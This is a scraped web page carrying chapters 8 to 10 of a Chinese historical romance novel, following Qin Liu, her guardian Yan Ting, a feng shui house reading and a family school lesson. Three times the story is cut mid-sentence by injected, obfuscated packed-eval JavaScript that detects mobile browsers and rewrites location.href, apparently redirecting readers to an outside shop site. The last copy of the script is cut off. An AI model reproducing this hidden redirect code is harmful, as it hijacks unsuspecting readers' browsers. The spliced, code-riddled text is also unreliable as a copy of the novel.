$(''.inform'').remove(); $(''#content'').append('' 庭不饶人,等筵席散去,又折返去了秦家拿人。 “你们既说她是女婢,那我将她买了去,可否?” 秦家人理亏,一个扫把星,卖了就卖了,正好清扫门庭。 晏庭一生都忘不了接走秦琉时,她看向他的目光。 小姑娘一身粗布麻衣,一双眸子却清亮的如同暗夜里的繁星。 小琉眨巴几下眼睛,稚嫩的声音里却有文人的傲骨:“多谢你,来日我定结草衔环相报。” 小琉与晏庭并非仅有今日的一面之缘,父亲还在世时,小琉曾在父亲书房里见过他。那时父亲便说,晏家六郎,才识过人,敏识聆听,且一身正气,是不可多得的辅政之才。 故而今日她认出来了,且将自己的将来赌在了他身上。 好在她赌对了,他真的将她从苦海拉了出来。 晏庭对小琉说令尊于他有恩,让她安心在晏家住下。 记忆中的小琉就是这般站在檐下,还不如门的一半高,抬眼对她一笑。 而现在的小琉比窗纸还高。 岁月不息,如今小琉已芳龄二十,似新蕊初绽,黄莺才出,晏庭要严格把关,断不可让小琉被随随便便的儿郎骗了去。 “六叔。”小琉看见晏庭,福了福身。 “你在我屋前是找我有事?” 小琉点头,“嗯。” “那好,我也有话,进屋说吧。” 两人坐在案几一左一右,晏庭欲倒茶,小琉忙接过,“六叔我来。” 晏庭盯住她的一双玉手,似是不经意问道:“这些年的寒冬,冻疮可有再犯?” 小琉将茶杯递给六叔,收回手笑道:“六叔的药膏效用极好,寒冬腊月我不碰冷水,注意保暖,再也没有犯过了。” 说话间,小琉将手放回了膝上,不经意摸了摸右手掌心的刀疤。 “那便好。小琉,你要说的事呢?” “我是想问方才席间,六叔说的县主封赏是真的吗?” 晏庭猜她要问这个,“圣上金口玉言,自然为真,魏王和魏王妃要在七日后的公主寿宴上见你。” 什么!七日后…… 圣恩难却,铁定是出不了京了。 “小琉?”晏庭看出了她的茫然。 “六叔……魏王真是出于和我父亲的渊源,所以才收我为义女的吗?” 为何偏偏是这个时候,早不收,晚不收。 小琉从小便机智过人,一点就通,现在用谎话是没法糊弄过去了。 “有这方面的原因,不尽然,还和秦相的冤案有关。” 听到父亲,小琉激动万分,“这么说,六叔也觉得我父亲是冤枉的!” 晏庭收回目光,看了眼茶面,又重新看向小琉湿漉漉的眼睛。 “秦相德高望重,廉洁耿直,朝中自然不信秦相意图架空皇权,我也不信。”晏庭叹了声气,“但朝中势力错综复杂,东宫易主,岳……权力的交织免不了无形的刀剑碰撞,新帝即位,需要更为强大的势力为其稳住江山,所以……” 秦家是皇家的弃子。 不过如今圣上想重揽大权,便利用了晏庭罢了。 小琉听出六叔话里有话,所以圣上知道父亲的冤情,只是碍于权力,无法为父亲翻案。 这县主之位是不得不要了,不要就是藐视皇恩。 “小琉懂了,多谢六叔。”那她就顺手推舟,接下皇恩。 8. 玉璧 见话头愈发不对劲,晏庭想起什么,从立柜中拿出为小琉备的及笄礼。 “这只系璧是我为你备的迟来的及笄礼。” 小琉闻声看去,六叔手中有只色泽光润的玉璧,由线串着,在空中荡来荡去。 及笄礼…… 小琉将这三个字在心里来回复述了三遍。 她的及笄根本无人操办,甚至连每年的生辰也省去了。 不过也好,本来她也从不过生辰,只是刚来晏家时,晏庭问过她一嘴。 日光洒进小轩窗时,小琉正在临摹六叔的字帖。 晏庭喜不自胜地走过来,声音里带笑,“小琉,今日练得如何?” 小琉仰脸嘴角微弯看着走过来的人,微微得意道:“六叔的字苍劲有力,我已学得七七八八。” “呵,这么自信,让我一看究竟。”晏庭拿起小琉的字,连连称赞,确实进步神速。 “不错,一字一笔皆有神,不像我的那几分是属于小琉你独有的韵味,也不必尽同我一样。” 小琉喜欢被六叔夸,打记事起,也只有晏六叔夸过她了。 小琉憨笑道:“我可是夜里都要闻六叔的笔墨香才能安然入睡,有我这般刻苦的,没几个了吧。” 晏庭摇头失笑,“夸你一点,你的尾巴要摇到天上去。晏家晚辈中,如你这般刻苦的,确实少有。不过,用功与休息也要平衡,我见你眼下乌青,是不是夜里又偷摸苦读了?” 小琉唰的一下用两只食指遮住眼下,“没有没有,我只是想早点赶上六叔嘛。” 只要是六叔嘱托她的事宜,她皆努力做到尽善尽美,只为一点,她不想六叔失望。 “怎么赶上,我毕竟比你多吃十年饭,记住了,不可急功近利。” “嗯嗯,记住了。”小琉点头如捣蒜。 想到大嫂为小侄子的十岁生辰宴忙得脚不沾地,晏庭顺道问了小琉:“小琉,你生辰是哪日?” 方才言笑晏晏的小琉,嘴角倏地耷了下去。 爹就死在她六岁生辰那天。 她正满心欢喜地等阿爹送纸鸢给她,可阿爹自上值后再也没进过她房中。 阿爹一杯毒酒入吼,从此与她天人永隔。 秦家日夜不安宁,家中长辈请来了道长,说秦家进了邪祟,一时间,所有的矛头都指向了孤独无依的小琉。 说她八字不吉利,天生克秦家。 双亲皆远离便是铁证! 从此秦家便成了小琉的地牢,永远暗无天日。 小琉故作浑不在意,笑嘻嘻回道:“我不记得了。” 晏庭略微敛额,“怎会有人不记得自己的生辰呢?” “就是不记得啊,年纪小就不能忘事了吗?” 一向细心的晏庭才回过味来,他惹她不悦了。 生辰难道是她的伤心事? 虽说晏庭心细如发,但为人父的事情,他实在缺乏经验。只好去向大嫂和二嫂讨经验,晏庭暗道这做父母也是天下一大难事。 学成归来,晏庭主动找上了小琉。 “小琉,这是六叔特意一大早去西市排队买的三勒浆,今日可否与你同饮?” 晏庭鲜少饮酒,二人都喝得酩酊大醉,趁着意识朦胧,晏庭问起了秦琉的往事。 秦琉醉酒后,减少了警惕,也或许是心里的事情放的太多,终于有了个可以倾诉的当口。 秦琉红润的两个脸蛋,经酒意的酝酿,愈发热烫。 藏在心里四年的悲伤往事,压得小琉喘不过气。 小琉一骨碌全吐露了出来,看着晏庭的一双水汪汪的眼睛,泫然欲泣。 那日后,晏庭便开始张罗起了小琉的生辰,虽不至于大操大办,但晏家上下都知道了秦琉的生辰,晏庭亲自下厨为小琉做长寿面,带她出府逛灯会。 晏庭想让小琉明白一个道理—— 你的出生无关乎凶兆,唯有喜乐相伴。 可晏庭离开后,再也没有人记得她的生辰了,秦琉自己下厨做的一碗面,味道不差,可就是少了什么。 与其去细究其中的差别,不如再也不过生辰了。 秦琉业已适应了没有六叔的日子。 可看着晏庭手中温润透亮的玉璧,那是他独为她准备的贺礼。 秦琉的心又不可遏制的动摇了,就像司南会自如地偏向南方,秦琉总是会情不自禁地贪恋六叔的好。 秦琉愣神的工夫,晏庭以为她不想收下玉璧。 晏庭拿出怀里时时带着的玉佩,摊到她面前,“你看,这是你送过我的生辰礼,玉璧就当是我的还礼了。” 此物似有千斤重,秦琉颤巍从他手中接过,“多谢六叔。” “小琉,我离府的八年,晏家可短你衣食?那夜抱你,觉得你格外消瘦。” “六叔言重了,晏家待我不薄,抽条似的长大自然比不上小时的圆滚滚。”她哪敢有更多的奢望。 晏庭轻拍桌子,“择日不如撞日,小琉,今日我们一同去饮三勒浆如何?” 秦琉一愣,浅笑道:“六叔,我已不再稀罕那口味道了。”起身作别,“六叔,县主的事我已知晓,这架势摆明了公主寿宴我也会受邀前去,既如此,我听您的。” 秦琉眼神澄澈,神情笃定,但她有个连自己都不曾察觉的细节,她紧张故作镇定时喜欢嘴角向上微弯,眼睛却垂眸向下看。小琉无论多大,晏庭都把她作孩子。小孩子的心思,最好揣摩了。 “好,六叔会陪你前往,届时场面盛大,小琉若有担忧,记得来寻六叔,我会尽力抽身。” 从六叔房中出来,秦琉一路都在琢磨方才六叔的话,她现在暂时不得离京,那也正好,给了她查清父亲冤案的时机。她不懂朝政,秦家人又对父亲的事避而不谈,六叔显然知情,但不愿对她多说。 或许……魏王知道? 晏家宅子广大,沿用祖宅旧制,但秦琉鲜少出闺阁,闲暇只在荷姝院的一亩三分地晃悠。常人眼中,秦琉内敛淡漠,与旁人交情甚少,足不出院子,至多去学堂,前日若不是事出从急,她也不会被晏钟天抓住,落下个偷偷出府的坏名声。 今日秦琉大大方方去了正厅,有个身穿青布襦裙的婢女正在不远处低腰擦拭照壁,见秦琉来了,远远便过来行礼,“见过秦小娘子。” 秦琉久久未曾受过这般待遇,一时反应不过来,两只眼睛呆滞看了她须臾,后缓缓点了点头。往大门方向走了两步,又有过来行礼的奴仆,秦琉这才回过味来,多半和六叔接风宴带来的消息有关。 下人惯会见脸色行事,风吹草动,他们多少都有感知。 她出门,下人也没有侧目,各自干着手里的话,仿佛她出门是件再寻常不过的事情。 看来六叔没有骗她,她现在出入晏家自由,再也不用躲躲藏藏了。 既然决定留在长安,堪舆师的活儿她打算重新拾起来。街上人流如织,她多久没这般自在了,如困在樊笼的鸟儿,今日难得见日光。 来到牙行,秦琉找到了常与她打交道的牙人宋阿婆。 宋阿婆正在与人交涉,秦琉便在帘外等,待到交易结束,宋阿婆也注意到了帘外戴着帷帽的秦琉。 秦琉出门皆是戴帷帽,宋阿婆与她次数见得多了,即使看不见相貌,看她的身形也能认出秦娘子来。 “秦娘子?” 秦琉上前,“宋阿婆,是我。” “你不是说你要离京吗?没走?” 帷幕下的人点了点头,藏在帷幕里的表情看不真切,只听秦娘子缓缓道来: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341216|199336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我有事牵绊住了,暂时不得离京。故而来找宋阿婆,我的招牌可以挂出去了,正常接客。哦还有,以后不止夜里,昼日也可。” “是出什么事了吗?”宋阿婆与秦娘子也算认识了六年,不说熟人,也算有些交情的生意人。 秦娘子往常只夜里接生意,酬金也比同行低,宋阿婆只当小娘子家里急需用钱,又无法抛头露面,尚且理解。可明明说要走的人,一下子说不走了,陡然间还增了白日的生意量,也不免她关心。 秦琉编了几句话搪塞,“宋阿婆,我家里人生了重病,本来我欲南下去寻医问药,巧的是后来又听闻医仙不日要来长安,家里已经揭不开锅了,日子越发捉襟见肘,我也是想多赚点银子补贴家用。” 宋阿婆怜爱地拍了拍秦琉的手,眼里母爱泛滥,“你极为不易,我也有女儿,见你如此懂事,我的心忍不住难受得跟着揪起来。”随即从钱柜里拿出一袋银子,“这是阿婆的一点心意,你收下阿婆心里也好受。” 秦琉连忙摆手,“不行,我不能收。”她说点不伤人利己的谎话,她心里没负担,可若是收下了宋阿婆的银子,那她就是招摇撞骗了。 可在宋阿婆心中,秦娘子就是那种日子过得苦,还极为有骨气尊严,不受他人嗟来之食的人。 “秦娘子你就收下吧,这是阿婆的一点心意。” 宋阿婆满脸真意,秦琉平生初次为自己的谎话脱口就出感到羞耻。 “阿婆,人都人的难处,我若收下您的银子,那才是真正地玷污了阿婆的好意。我既能凭真本事赚钱,那自然用我的一双手养家人更心安理得。”秦琉将那袋银子推了回去。 宋阿婆低头看了眼推银子的那双手,虽比不上大户人家闺阁小姐的一双玉手,但也是娘疼的女儿家,可见阿母该多疼惜,才养的这般水灵乖巧。不知帷幕下的样貌如何,听声音和她的一番话,定是个眉清目秀的女娘。她如若有个郎君,定要娶了这样好的娘子做媳妇。 “既如此,我也就不勉强了。恰好,今日王大师要回老家赶喜事,秦娘子,城东的新昌坊有家最近闹鬼,你去探探风水如何?那户人家叫的急,但给的报酬极为丰厚,抵你接三家了。” 秦琉窃喜,老天爷眷顾她,初次接白日的单,立马就能接上。 “好,多谢阿婆,我这就去。” 秦琉与堪舆的缘分还得追溯到她五岁的时候,那时秦琉偷偷去到了母亲曾经住过的屋子,秦家人将这处屋子封了起来,平常不许人进出。秦琉这日吃了雄心豹子胆,偏要与祖母作对。 秦琉推开年久灰尘密布的门扉,那时小小的,还是奶团子的秦琉,还不知何为母亲,怀着对母亲懵懂的好奇,环视起了母亲曾经的居所。似乎与她的屋子也并没有什么不同,都是一张床,靠墙一列架子,几个大花瓷瓶…… 当时还未通人事的小琉,还未意识到阿爹和阿娘为何分居两室,单纯地以为就该人人一张小屋。 在母亲的起居室里,秦琉发现了一本堪舆手札。没有署名,只有些微的翻阅痕迹,秦琉的脑海里,搜刮不出一点关于母亲喜好的记忆,她甚至无法判断这手札是否属于母亲。反正在母亲房中,秦琉就当是母亲的了,偷摸拿了去,在不为人知的时候,一点点阅读学习。 也正是这些学习到的本事,使她在漫长难捱的岁月里有点喜好,且能凭喜好赚点家用。 辞别宋阿婆,秦琉便屈身前往了城东的新昌坊。按着宋阿婆的指示,拐两个角,见到一棵大柳树,再往巷子里头走约十步远,见到一口枯井,对面就是户主家。 秦琉来到屋前敲了敲门,须臾后,开门的是个年轻妇人。 妇人似有不耐烦,见到门外的陌生人,蹙眉疑道:“你谁啊?天杀的,他外头到底招惹了多少娘子?!” 9. 相宅 妇人年纪瞧着不大,却浓妆艳抹,一身妇人装扮,脸上的情态又分明是小娘子的喜怒嗔怪,衣服也与她格格不入。 秦琉细细分辨了她话里的意思,她应当是认错人了。 秦琉解释道:“我是代王大师来看宅子风水的堪舆师,贸然登门多有得罪。” 妇人将对面的人从头到尾不怀好意地扫试了一遍,这人头戴帷幔,看不清样貌。妇人稍加警惕地询问:“我倒是少见娘子做堪舆师的,你是宋阿婆介绍来的?” 秦琉拿出了在宋阿婆处登记在册的文书仿本,“鄙人化名秦娘子,看过不说有百处宅子,也有几十处了。您若不相信我的能力,大可去明华坊打听,秦娘子的名声在明华坊可是响当当。” 妇人捂嘴笑了笑,“唉哟,你这娘子竟丝毫不谦虚,行吧,我信了你,请进吧。” 新昌坊多是一些中低阶官吏的聚居,屋漏椽朽、泥深巷狭常有,这户雇主的生活依据住所来看,应算是宽裕的。居所打理得井井有条,前院虽未铺石,但人走过感受不到尘土。秦琉抬眼望了望屋顶,覆有青瓦,室内也铺了砖,还有一个老奴和童仆,日子想来不赖。 二人来到中堂,方才行过礼的童仆来奉茶。 秦琉单刀直入,“想必您就是赵娘子吧,那我就直问了,您这宅子买之前想必已经请人看过风水,诚然,这宅子属阳宅,屋宇虽旧,气色却光明精彩,其家必定兴发。但,这宅子的格局,吾斗胆问一句,是否未过问坊主私下改过?” 赵娘子脸色陡然变了,眼神躲闪,嘴里的话吞吞吐吐起来,“这……妾也不知。” 来之前,宋阿婆向秦琉详细说了这家的情况,这家的主人在长安县衙谋了个闲差,仗着祖辈留下的基业浑噩度日,本有个温柔贤惠的明媒正娶的妻子操持家业,妻子染重病卧床后,男人态度大变,也或许是原形毕露,吞了妻子的嫁妆,日日流连秦楼楚馆。 纳的小妾早早就登堂入室,耀武扬威起来,原配妻子撒手人寰后,当家的就迫不及待将妾扶正。 秦琉眼珠往上一提溜,偷摸瞧了眼对面女人的心虚模样,想必她就是那位妾室扶正的,现在的赵娘子。 “赵娘子,你若不能直言以告,那我只好说出我的猜测了。” 秦琉起身,越过中堂,去到了后院,园圃植有蔬果花木,打眼一看,谁不觉一片惬意丛生。可怪就怪在那片园子,园子背光,主家不是傻子,怎会留着这样的一片地。 整个长安,市坊的大致格局秦琉了然于心,但细致的住居,秦琉因着先前大夫人管得严,无法时常出门察看。今日秦琉出门忘了带手札,只好将房屋构造尽力记在脑子里。 “赵娘子,这片园子原来是否有口池塘?”秦琉蹲在菜地前,手指捻了捻泥土。 住宅若有路、水环绕,则得气,主家房前倒是有条小路,但屋后只有一口枯井,平素吃的应该是坊门的井水。 赵娘子原有些微抖的手,顿时停住,看了眼秦琉,默然暗应。 秦琉了然,回身朝着赵娘子作揖,“房屋并没有鬼,赵娘子这是心里有了病灶,将池塘挖回来吧。” 秦琉顿了顿,又添道:“家里看着也并非冷清,屋后那口井,有心的话,还是能救活的。” “可……”赵娘子犹犹豫豫,又三缄其口不敢挑明。 秦琉不好对别人的家宅内事多嘴,迂回道:“相宅相的是风水,与天地山水、万物灵气密不可分,俗话说得好,祖宗在地下过得安稳,也可保子孙后代丰裕。亡灵若心事了断,自会离去。” 堂下安静如斯,赵娘子悄悄打量了她一番,心想这位女堪舆师或许有真本事,恭维道:“秦大师不愧是宋阿婆引荐来的人,您着实厉害。既如此,您能否直接将鬼赶走呢?” 对上赵娘子谄笑十足的嘴脸,秦琉无可奈何,“我是堪舆师,不是捉鬼师,况且世上哪有鬼,乱的是人心罢了。鄙人送赵娘子一句话,不做亏心事,夜半不怕鬼敲门。” 说完,秦琉摊出手去,伸到赵娘子面前。 赵娘子后仰一小步,“何意?” 秦琉挺起腰杆子,坦诚道:“相宅是我此行目的,我已做完了,烦请赵娘子给我结款吧。” 风水师本就是偷摸请的,赵娘子也不敢将事情闹大,只能自己吃哑巴亏,交完银子好送客。 人走的时候,院子门口刮来一阵风,秦娘子的帷幕被风撩起了一角,赵娘子只浅浅看了一眼侧脸,檐下之人下颌清晰,面如新荔,鼻似凝脂,身材修长,以她多年经验,定是个观之可亲的美人。 只是不知……这么一个娇滴滴的娘子,干何做起了堪舆?怕是家中男人软弱无用,只能靠女人养了。赵娘子长叹一声,关上了院门。 秦琉走在巷子里,乐得喜不自胜。白日甫一接活,接的就是一个钱多事少的好活,这样的幸事人间难得几回见啊。 笑意还挂在她脸上,后面幽幽传来爽朗的男声,如同浪涛击石,在狭窄的小巷里震了起来。秦琉捏紧钱袋,咽了口唾沫,提心吊胆。 “小娘子,你方才一番话说得非常之绝妙,只是,你不该谈到亡灵。不过,你这般懂堪舆的小娘子,我倒是第一次见,后生可畏,可喜可贺,吾深感欣慰啊!” 揪着颗心听他说完,秦琉才转身看去,对面打扮怪异,穿着一身素白得像发了丧的衣服,言谈也颇为冒犯,秦琉斗胆问道:“敢问前辈何人?也是堪舆师?” 对面那人摇头如铃铛,“非也,吾乃一闲云野鹤。” 秦琉心里冷嗤一声,还以为他是多厉害的堪舆师呢,心想能拜个师也行,可惜只是个爱卖弄所学的闲人。 不欲与陌生人多接触,秦琉作势要走。 “你分明知道那人极大可能是杀害原配夫人的凶手,为何不禀告官府?” 秦琉愣住,大吐一口气,不耐烦道:“案子已定下,且命案是官府管辖的事,与我何干。我只负责看风水,看完了,钱货两讫。” “不行!”他大臂一展,拦住了秦琉去路。 秦琉眉头紧皱,无奈看向他,闲云野鹤管的还挺多。 鹤头左右摇了摇,“你这娘子,我刚还夸你后生可畏,你竟对人命如此冷漠?” “那行,你热心肠,你去官府做你的见义勇为,我还有事先走一步。” 那人不死心,大声嚷道:“你既提到了亡灵,肯定猜到了八九分。原配夫人就是死在了池塘里,那对男女只顾出府寻乐,将唯一照料病榻之人的奴仆也遣了出去,那原配张氏就是半夜起身,不慎摔进了池塘里,水不深淹不死人,但深秋夜晚池水似冰,昏迷的张氏被活活冻死了。那对枉顾人命的男女就应该余生都活在恐惧中!” 秦琉瞪圆了一双眼,讶然盯住他,“这么说,真有鬼?鬼是你假扮的?” “当然不是!他们心中有鬼,我乐见其成罢了。只是……我不愿你开解他们。” 秦琉垂眸笑了笑,“你以为他们是心虚?他们都敢杀人,定然不会有愧疚之心。他们怕的不过是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341217|199336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左邻右舍的闲言碎语,我听闻官府以管家不严罚了他半年俸禄,由此可知,这事已经过去了。亡灵之说不过是顺着赵娘子心意罢了,我拿银子,自然要好好‘办事’。” 那人被秦琉呛得无言以对,憋红了半张脸,“你——你一个小小娘子,怎生的唯财是命?” 任他如何说,秦琉都不为所动,“公子若无事,我就先走了,告辞。” 他的一番话并没有在秦琉的心中留下波澜,她向来是谁对她好,她便加倍回报,谁和她有仇,她便以怨报怨。和她不相干的人,她只管做她分内之事。 秦琉出门得早,办完事还未到午时,她回府便走得闲情信步。 内城河畔,几个小摊贩前叫卖声不断,三三两两的还未及她腰的孩童正结伴打石球,嘻嘻哈哈的笑声不绝于耳。秦琉看得出神,这般怡然自得的手足情,她从不曾体会。 河面上卷来一阵凉飕飕的风,吹散了秦琉眼里的艳羡,她敛了敛情绪回府。 回到荷姝院,秦琉摘下帷幕,理了理额前的碎发,闻到了一股药香。鼻翼翕动,秦琉循着味道过去,她房中的味道? 秦琉正欲推门,门先从里面开了。 晏庭大喇喇站在门后,见秦琉已归,便转回桌旁道:“我正欲去寻你,你回来正好,快来趁热喝下六叔给你熬的止咳汤。” 六叔着急忙慌用瓷碗装了一碗药汤,递到小琉身前。 药汤微甜,喝完嘴里才渐渐泛起苦味。秦琉拿帕子擦了擦嘴角,“谢过六叔。” “谢什么,只要有效就好。我这药汤是向宫里的老太医讨的药方,听闻不出七日就可好转。” 秦琉疑惑,“老太医?圣上不是命您足不出户吗?” “你们怎都风声鹤唳的,指甲大小的事被你们说的天塌了似的。”晏庭拿过碗盏,“你既已喝下,我就走了。”刚想转身走,又想起什么,嘱咐几句,“春芽说你一大早就出门了,你身子既未大愈,那就静养为好。” 秦琉抠了抠裙边,点头说好,“听六叔的。” 诚然,六叔的药汤一剂见效,喝完仿佛有人在她嘴里拿着芭蕉大呼呼扇风。 六叔送完汤药就走了,也没过问她出府的事,给足了她自由。 春芽在在房中一顿忙活,秦琉状似不经意间问道:“六叔今日出府了吗,他是如何为我寻得的药方?” 春芽为娘子布好菜,退到一旁道:“六郎君托大郎君去了司药局一趟。”凑到娘子耳边,嘴巴抿笑,“这碗药汤还是六郎君亲自熬制的呢。” 这么会照顾人,那他怎么比之八年前消瘦了那么多。他还念叨她瘦了,他不一样也瘦了? 秦琉沿着碗缘捻磨,沉思良久。 临公主寿宴的日子越近,她的心越忍不住慌张。 以魏王和父亲的交情,他会说出父亲冤案的真相吗?他们的交情深到了魏王可以不顾皇威坦诚以言吗。 秦琉不确定,又恐自己打草惊蛇。思索再三,秦琉想试试能否从六叔嘴里探听到什么。 夜深人静的时候,秦琉端着白瓷蘸托,上面盛放着她今早买的透花糍,来到六叔门前敲了敲门。 半晌都无人应。 “六叔?是我小琉。” 秦琉又放大声音喊了一嗓子,依旧无人回应。夜深了,六叔不在家吗? “我推门了?六叔?你人没事吧?”秦琉边推门边试探,进到屋子里,环视一圈,不见他人。 半夜三更他人能去哪儿? 10. 书塾 昨夜一夜未归的人,下午竟在学堂见着了。 秦琉一向浅眠,院里若有风吹草动她都会立即苏醒,可六叔的屋子,昨夜彻夜漆黑。 晌午一过,秦琉就得去学堂听训。这次大房的心娘竟然也来了,怕是月娘一闹,夫子无法,只好去找了晏家主君。 晏羽发了话,月娘不得不听,就连来年要参加春闱的晏钟源也来了。 学堂是晏家的祖制,不好厚此薄彼,今日你有事不来,明日他有事不去,岂不是视老祖宗的话为耳旁风? 晏钟天还是那副别人将他无可奈何的混账样儿,见到秦琉,压着胸腔的鄙夷,扫了她一眼而过。 二房的姐弟俩与秦琉交际不多,不过,她总是能感受到对方隐隐的敌意,就怕明刀易挡暗箭难防。 秦琉拿出一册书置在书案上,左等右等,不见老先生来。其余人也露出焦急色,夫子从未迟过,今日算太阳打西边出来了。 晏钟天已不大耐烦,将书往案上一摔,动静不小,忍得人人转头看去。 “要我说,直接走人,作何在这儿傻等?!” 钟源放下书卷,沉着嗓子微怒道:“钟天,要有耐心,求知若渴,等个一时半刻又有何妨?夫子许是被家里的事绊住了。” 钟天吞了口气噤声坐下了,他虽顽皮,但长兄如父,对大哥仍抱有几分敬意。 就在晏钟天的耐心即将耗尽,爆发之际,有人跨门进来了。 来人穿着一身暗蓝绣袍,看了一眼微微躁动的堂下众人,放下了手中的书册,解释道:“夫子出门时不慎摔伤了腿,医人说须卧床静养三月,为你们寻得另一位先生之前,就先由我暂时代为授课。” 竟然是晏庭? 他容光焕发,脸上丝毫不显疲色,昨夜未宿在家里,难不成去了别地歇息?秦琉压下心里的疑惑,翻开了课业之书。 底下的躁动不息,见来人是六叔,晏钟天也不再走神了,打起十二分精神,抖擞脑子,竖起耳朵听六叔娓娓道来。 来晏家书塾求学的不止晏家子弟,更有一些勋爵门户的后生,晏家虽已不在勋爵之列,但仍与之有来往。 当今天子大权旁落,宰相长孙氏书塾前更是门庭若市,这一来二去的,书塾就不仅求学这么简单,更重要的是收拢臣子和天下有识之士。 东昌侯府的小郎君心气高,加之晏庭不在长安八年,许多辉煌的事迹被岁月隐去,见授课的是个还没他爹老成的人,便不满道:“世风日下啊,尔今是谁都能随随便便传道授业了吗?” 一句话轻飘飘抛在空中,众人却愣住了不敢接过来。 晏家人定然听着不爽,侮辱六叔岂不是就是在看不起晏家? 晏钟天噌的一下站起来,晏钟源却给他使了个眼色,叫他不要轻举妄动。 钟源侧过身笑道:“谦夫兄应该是有所不知,几日前我家六叔正好戍边回京,得天子旨意居家休整,今日替夫子授业的便是我家六叔。” 有比侯府郎君略知十年前旧事的,小声到他耳边道:“小侯爷还真是你孤闻寡陋了,晏家六郎可是熙平二十年的状元,去过东宫伴学,算当今天子的同侪了。” 小侯爷满脸不可置信,乜斜看了眼堂上之人,吞吐地说道:“状……状元,通身气质怎不符呢?” 有人笑道:“小侯爷要是去趟边关,经风沙的日夜捶打,也会大变样的。能捡条命回来都不错了,哪还能在这儿高谈阔论。” 小侯爷被呛得脸红脖子粗。 晏庭耳聪目明,不知是否听到了他们的细语,他没理睬,拿着书卷照常讲学。 角落的秦琉将书纸的右角捻起了卷儿,凝神听着他们的谈论,又忙回过头看六叔的反应。她感觉六叔好像变了,又好像没变。表面依旧平和稳重,但内里究竟如何,也许只有当她知晓了六叔八年的边关生活怎么过的,才能明白。 策论讲完,晏庭口干舌燥,放下书册,歇会儿让他们拿出纸书写对方才他所讲内容的见解。 底下众人纷纷拿出笔墨纸砚,有人绞尽脑汁憋不出一个字,有的人却已经奋笔疾书,洋洋洒洒写了半张纸。 晏庭下去边走边看,经过钟源时刹住脚,多看了几眼。后生当中,当属大哥的长子最为出众了。又往前走了一步,来到钟天的跟前。他正抠头蹙眉,写了几段,不满意遂又划掉,余光看见六叔来了,仰头憨笑。 听母亲说,大哥的幼子尤为顽劣,连稚子尚能说道的蒙学之书都未学完。 晏庭只拍了拍他肩就走了。 这边的郎君过完眼,晏庭慢悠悠去了娘子那边。顾及男女有别,晏庭离娘子约一尺远。小娘子大多写得中规中矩,不出挑也不会出错。走到小琉旁边时,晏庭的目光被小琉的一手簪花小楷吸引了去,脚往她那边不自觉靠了几步。 “小琉,你的字练得愈发漂亮了,不过也是意料之中。”她的刻苦好学他是知道的。 安静的书塾内响起一声微弱的“嘁”。 晏钟天仿佛听不得她被夸,立马出来吐黑水,“她也就字拿得出手了,每回的课业小考都是丙等,害得我都被连累受罚。” 怎会如此? 晏庭看了眼小琉,她眼神闪躲,折在胸前的手腕不经意抬到上面,以袖掩盖所写内容。又回看了一眼钟天,撑着额头,嘴巴似乎要叭叭个不停。 “咳,你们若有已经写完的,可以呈上来我先批改。”晏庭回到了堂上,脸色平静,似乎没听到刚才的一番话,晏钟天本想继续揭秦琉的短,见掀不起浪花,只好悻悻然闭嘴。 一个时辰一晃而过,晏庭也算不负先生嘱托,顺利代完了一堂课。 在边关时,风沙遍布,除了行军打仗,舞刀弄枪,闲暇时他也不忘看书注释,只是动的多了,心便很难静下来。 方才那几个黄口小儿,晏庭看明了他们心思,左试探右追问,无非是想让他难堪。 晏庭毕竟长他们多岁,又高他们一辈,压根儿没将他们的话放心上。 学生们交上来的课业两摞高,钟源想来搭把手,晏庭婉拒了,他是练武之人,两摞书的重量还是扛得起的。念及学生还小,晏庭嘱托他几句,“别在外面多嘴,几个孩子的话,我不放心上。免得他们父兄知晓,否则指不定得挨板子。各个细皮嫩肉的,哪能承受住。” 六叔就是这般慈爱,对晚辈百般怜惜,不知军营里如何服众的。 夫子的家与晏府隔条巷子,两条腿过去,一盏茶的工夫就到了。 门人见过晏庭,就是这位恩公背着主君回来的。 “晏郎君。”门人向他行过礼后便引他去主君跟前,主君正卧在榻上。 晏庭边走边问道,“你家主君经医人瞧过,怎么说?” “唉哟真是得亏您了,老医师说主君年纪大了,这一摔幸好没摔到要害,您又抱回得及时,否则这一摔指不定能不能起来。一刻钟前,给主君擦完药人就歇息了。医人说静养仨月,应无碍。” 门人帮忙推开门,弓着腰请郎君进去,“您请吧,夫子该醒了。” 守在榻边的是晏庭多年不见的师娘,晏庭向人作揖,“师娘,好久未见,您身子安好?” 安夫人擦了擦眼尾的泪光,面露惊讶,“这是……六郎?” “是我,我才回京几日,不曾正式登门,来得冒昧您见谅。” “六郎这是说的哪里话,我听几个小厮说,是个俊俏的郎君背我家老头子回来的,我还想是谁呢,定要去好好拜谢。原来是六郎,也是,我家换了批下人,他们没认出你。” 将人请至茶桌旁,“来,六郎尝尝我随我几个姐姐上承恩寺时,方丈赠的新茶。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 